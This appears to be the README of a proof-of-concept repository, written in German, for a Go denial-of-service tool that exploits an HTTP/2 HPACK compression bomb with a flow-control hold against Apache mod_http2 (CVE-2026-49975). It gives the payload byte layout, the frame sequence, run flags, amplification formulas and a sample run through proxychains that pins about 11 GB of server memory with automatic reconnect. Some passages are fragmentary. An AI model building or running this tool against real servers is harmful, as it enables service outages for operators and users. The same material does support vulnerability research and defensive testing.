
Sicherheitsforschungs-PoC für CVE-2026-49975: HTTP/2-HPACK-Kompressionsbombe + Flow-Control-Hold-DoS in Apache mod_http2
Security Research PoC von naheeju
⚠️ Dies ist ein funktionierendes Memory-Exhaustion-DoS-Tool — kein Spielzeug. Es öffnet Streams, die das Ziel zur Speicherallokation zwingen, und hält sie über HTTP/2-Flow-Control-Tricks offen. Solange der Prozess läuft, hält es weiter und verbindet sich automatisch neu, wenn der Server die Verbindung trennt — es stoppt nicht von selbst. Die Auswirkung skaliert direkt mit
--threads, und . Das Stoppen des Prozesses (Ctrl+C) gibt die gehaltenen Streams frei und lässt den Server sich erholen, aber am Standardbetrieb ist nichts „sanft" — behandle jeden Lauf als Live-Fire-Test.
--streams--headersCVE-2026-49975 („HTTP/2 Bomb") ist eine remote ausnutzbare, nicht authentifizierte Denial-of-Service-Schwachstelle, die das mod_http2-Modul des Apache HTTP Server betrifft. Sie verkettet zwei seit Langem bekannte HTTP/2-Schwächen:
Cookie-Header-Fragmente zusammengeführt werden, ohne gegen LimitRequestFields gezählt zu werden, wodurch der Server wiederholt Speicher für interne Header-Bookkeeping-Strukturen allokieren muss.Das Ergebnis: Ein einzelner Client mit einer bescheidenen Verbindung kann eine erhebliche, anhaltende Speicherallokation auf dem Ziel erzwingen, solange der Stream offen gehalten wird. Diese Implementierung unterstützt zwei Payload-Modi und skaliert linear mit der von dir konfigurierten Nebenläufigkeit:
nginx-Modus — platziert einen leeren x-bomb-Header in der HPACK-Dynamic-Table und referenziert ihn wiederholt (~70:1-Verstärkung pro Referenz).classic-Modus — platziert stattdessen einen übergroßen cookie-Header (~4000:1-Verstärkung pro Referenz).Jede Verbindung referenziert den platzierten Header tausendfach pro Stream (--headers, Standard 5000), über mehrere Streams pro Verbindung (--streams, Standard 10) und mehrere parallele Verbindungen (--threads, Standard 1). Wenn der Server eine Verbindung schließt, verbindet sich das Tool sofort neu und macht weiter, bis es manuell gestoppt wird — dies ist eine kontinuierliche Hold-Schleife, keine einmalige One-Shot-Sonde.
Verwandte Identifikatoren für andere betroffene Stacks (nicht in diesem Repo implementiert oder getestet):
CVE-2026-47774Vollständiger Umfang der zugrunde liegenden Schwachstellenklasse, der Vollständigkeit halber — die „HTTP/2 Bomb"-Technik (HPACK Compression Bomb + Flow-Control Hold) betrifft mehrere Server-Implementierungen über Apache hinaus. Dieses Repo implementiert und testet nur den Apache-Fall; der Rest ist enthalten, damit Leser die breitere Klasse verstehen, nicht weil dieser PoC sie ausübt:
| Implementierung | Status | In diesem PoC implementiert? |
|---|---|---|
Apache HTTP Server mod_http2 | Behoben in httpd 2.4.68 (2026-06-08) | Ja — dieses Repo |
| nginx | Behoben in 1.29.8 | Nein |
| Envoy | Separat verfolgt | Nein |
| Microsoft IIS | Separat verfolgt | Nein |
| Cloudflare Pingora | Separat verfolgt | Nein |
| CVE | CVE-2026-49975 |
| CWE | CWE-789 (Memory Allocation with Excessive Size Value, laut NVD/CVE.org); von einigen Herstellern auch als CWE-409 (Improper Handling of Highly Compressed Data) geführt |
| CVSS | 7.5 (High) — CVSS v3.1, Availability-only-Vektor (laut NVD). Apaches eigenes Advisory bewertet es als Moderate. |
| Betroffene Komponente | Apache HTTP Server mod_http2 |
| Verwundbare Versionen | Apache httpd 2.4.17 ≤ Version ≤ 2.4.67 (Standard-HTTP/2-Konfiguration) |
| Behoben in | Apache HTTP Server 2.4.68 (veröffentlicht 2026-06-08). Der zugrunde liegende Fix landete upstream in mod_h2 am 2026-05-27, wurde am 2026-06-02 in den httpd-2.4.x-Branch gemergt und im 2.4.68-Release ausgeliefert. |
| Angriffstyp | Denial of Service — Memory Exhaustion (nur Verfügbarkeit) |
| Authentifizierung erforderlich | Nein |
| Datenoffenlegung / RCE | Keine — dies hat ausschließlich Auswirkungen auf die Verfügbarkeit |
| Bekannt ausgenutzt | Derzeit nicht von verfolgten Quellen als in-the-wild ausgenutzt markiert. |
Referenzen (Primärquellen — alle Angaben unabhängig verifizieren):
Dieses Repository enthält:
Dieses Repository enthält nicht:
Lies dies, bevor du irgendetwas anderes tust.
Durch das Herunterladen, Klonen oder Ausführen jeglichen Codes in diesem Repository stimmst du zu, dass du allein dafür verantwortlich bist, sicherzustellen, dass du die ordnungsgemäße Autorisierung hast, und dass du die volle rechtliche Verantwortung für deine Nutzung übernimmst.
CVE-2026-49975 gilt nur für ein Ziel, das beide Kriterien aus Abschnitt 1 erfüllt — über HTTP/2 erreichbar und mit einer im Bereich liegenden, verwundbaren mod_http2-Version (2.4.17 ≤ Version ≤ 2.4.67, Standardkonfiguration). Ein einfaches curl -vkI gegen den HTTPS-Port des Ziels reicht aus, um beides zu prüfen — kein Scanner oder zusätzliche Flags nötig:
curl -vkI https://<target>
Worauf in der Ausgabe zu achten ist:
ALPN: server accepted h2 — der Server hat für diese Verbindung HTTP/2 ausgehandelt. Dies ist die Vorbedingung für CVE-2026-49975, da der Bug in mod_http2 liegt; ein Server, der hier nie h2 akzeptiert hat, ist kein Kandidat.Server-Response-Header (sichtbar, sobald die HEAD-Response-Header weiter unten in der -v-Ausgabe ausgegeben werden) — dieser bestätigt oder schließt die tatsächliche Apache-/mod_http2-Version gegen den verwundbaren Bereich in Abschnitt 1 aus. Die ALPN-Akzeptanz allein bestätigt die Version nicht — dafür braucht es weiterhin den Server-Header oder eine gleichwertige Banner-Prüfung.Darüber hinaus wird in diesem Repo nichts für Recon verwendet — kein aktiver Exploitation-Traffic, keine Vulnerability-Scanner, keine Port-Sweeps.
cve202649975)golang.org/x/net v0.59.0 (automatisch via go build aufgelöst)443, TLS/h2 standardmäßig; --no-ssl für Klartext-h2c)proxychains4 gestartet wird, erkennt es den LD_PRELOAD-Wrapper, liest dieselbe proxychains4.conf und leitet seine eigenen Verbindungen durch diesen SOCKS5-Proxy (Remote-DNS-Auflösung) — nützlich, wenn der Scope eines Engagements das Testen von einem bestimmten Egress-Pfad erfordertÖffentliche Timeline von CVE-2026-49975 selbst: an Apache gemeldet am 2026-05-26; Fix landete upstream in
mod_h2am 2026-05-27; gemergt in den httpd-2.4.x-Branch am 2026-06-02; Apache HTTP Server 2.4.68 veröffentlicht am 2026-06-08.
Führe dies nur gegen ein Ziel aus, das du ausdrücklich zu testen autorisiert bist. Es gibt kein eingebautes Dauerlimit und keinen Safe-Mode — du bist dafür verantwortlich, wie lange es läuft und mit welcher Nebenläufigkeit.
Build:
go build -o dos ./cmd
# or: sudo install -m 0755 dos /usr/local/bin/dos (see build.sh)
Ausführen:
./dos <target> <port> [flags]
| Flag | Standard | Beschreibung |
|---|---|---|
--threads N | 1 | Parallele Verbindungen |
--streams N | 10 | Pro Verbindung geöffnete Streams |
--headers N | 5000 | HPACK-Dynamic-Table-Referenzen pro Stream (Amplification-Treiber) |
--mode nginx|classic | nginx | nginx = Empty-Header-Bookkeeping-Bombe (~70:1); classic = Fat-Cookie-Bombe (~4000:1, entspricht dem Apache-mod_http2-Cookie-Merging-Mechanismus, für den diese CVE geführt wird) |
--no-ssl | aus | Klartext-h2c statt TLS verwenden |
Beispiel, minimaler autorisierter Lab-Test:
./dos lab-target.internal 443 --threads 1 --streams 5 --headers 1000 --mode nginx
Zu erwartendes Verhalten:
WINDOW_UPDATE-Tropfen und periodischen Pings offen; verbindet sich automatisch neu und wiederholt, wenn der Server die Verbindung schließt.Ctrl+C / SIGTERM sendest — plane dein Testfenster entsprechend und überwache den Speicher des Ziels in Echtzeit.--streams/--headers, bevor du einen autorisierten Produktionstest durchführst, und halte unabhängig davon einen Rollback-/Neustart-Plan für den Zieldienst bereit.Grobe serverseitige Speicherformel für die beiden Modi dieses Tools (nur Apache mod_http2 — siehe Abschnitt 1, wie nginx/classic auf das Amplification-Verhältnis abbilden):
total_streams = threads × streams
server_ram_MB ≈ total_streams × headers × amplification_bytes / 1024²
# nginx mode (~70 bytes/ref), defaults (threads=1, streams=10, headers=5000):
# 1 × 10 × 5000 × 70 / 1024² ≈ 3.3 MB held
# classic mode (~4000 bytes/ref), defaults:
# 1 × 10 × 5000 × 4000 / 1024² ≈ 190 MB held
Skaliere threads/streams/headers nach oben, und die Zahl wächst linear — deshalb sollte ein autorisierter Lab-Test niedrig beginnen (siehe Abschnitt 7), bevor ein Lauf im Produktions-Scope erfolgt.
Dies dokumentiert den Mechanismus, den dieser spezifische PoC gegen Apache mod_http2 implementiert — er erstreckt sich nicht auf andere Server-Implementierungen, die außerhalb des Scopes dieses Repositories liegen (siehe Abschnitt 2).
HPACK-Dynamic-Table-Seed (inkrementelles Indexing, fügt Eintrag bei Index 62 hinzu):
0x40 | name_len | name | value_len | value
= 0x40 0x06 "x-bomb" 0x00 (nginx-mode seed: empty value)
Indexierte Referenz auf diesen Eintrag (je 1 Byte, --headers-mal wiederholt):
0x80 | 62 = 0xbe
HTTP/2-Frame-Sequenz pro Verbindung:
Client → Server:
PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n (connection preface)
SETTINGS [INITIAL_WINDOW_SIZE=0] (flow-control stall setup)
SETTINGS ACK (after reading server SETTINGS)
HEADERS [stream 1] ← HPACK bomb payload
HEADERS [stream 3] ← HPACK bomb payload
... (up to --streams per connection)
WINDOW_UPDATE(1) per stream, periodically (keeps the stall alive)
Die Wire-Kosten sind gering und pro Stream größtenteils fest (eine Handvoll Bytes für den Seed + 1 Byte pro Referenz); die serverseitige Allokation ist das, was überproportional wächst — diese Lücke ist die Schwachstelle.
Ausgabe eines autorisierten Lab-Laufs, classic-Modus, 20 Verbindungen × 30 Streams/Verbindung, 5000 HPACK-Refs/Stream, geroutet über proxychains:
proxychains4 dos domain.com 443 --mode classic --threads 20 --streams 30 --headers 5000
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
██╗ ██╗██████╗ ██████╗ ██████╗ ███╗ ███╗██████╗
██║ ██║╚════██╗ ██╔══██╗██╔═══██╗████╗ ████║██╔══██╗
███████║ █████╔╝ ██████╔╝██║ ██║██╔████╔██║██████╔╝
██╔══██║██╔═══╝ ██╔══██╗██║ ██║██║╚██╔╝██║██╔══██╗
██║ ██║███████╗ ██████╔╝╚██████╔╝██║ ╚═╝ ██║██████╔╝
╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝╚═════╝
CVE-2026-49975 — HTTP/2 Bomb PoC (HPACK bomb + flow-control hold)
Go PoC by naheeju · originally discovered by Calif.IO · authorized testing only
──────────────────────────────────────────────────────────────────
Run configuration
Target domain.com:443
Mode classic (~4000:1 amplification)
Connections 20
Streams/conn 30
Total streams 600
HPACK refs/str 5000
Est. server RAM ~11444 MB
Proxychains yes — SOCKS5 127.0.0.1:9050 (remote DNS, no leak)
──────────────────────────────────────────────────────────────────
[~] Opening connection #1...
...
[+] 30 streams open | ~572 MB pinned on server | holding...
[+] 30 streams open | ~572 MB pinned on server | holding...
... (one line per connection as it finishes opening its 30 streams)
Jede Verbindung meldet unabhängig ihren eigenen lokalen RAM-Beitrag, während sie Streams öffnet (~572 MB pro Verbindung bei diesen Einstellungen); die Pre-Flight-Zahl Est. server RAM ist der aggregierte Wert über alle 20 Verbindungen (~11,4 GB), sobald jede Verbindung vollständig geöffnet ist und hält.
domain.comoben ist ein Platzhalter — ersetze ihn durch dein tatsächliches autorisiertes Ziel, wenn du deinen eigenen Lauf dokumentierst, und schwärze es, wenn das Engagement vertraulich ist.
LimitRequestFields konservativ und überwache das Header-Merge-Verhalten.Ursprüngliche Schwachstellenentdeckung & Offenlegung gegenüber Apache (keine Verbindung zu diesem Repository oder seinem Autor):
Dieses Repository (Go-Reimplementierung, geschrieben und getestet nachdem der öffentliche Fix landete):
Fragen, Korrekturen oder Anliegen im Zusammenhang mit Responsible Disclosure zu diesem spezifischen PoC: Eröffne ein Issue in diesem Repository.
Lizenz: MIT (nur der Code dieses Repositories — siehe LICENSE). Erstreckt sich nicht auf die ursprünglichen Entdecker oder die Apache Software Foundation und impliziert keine Billigung durch diese.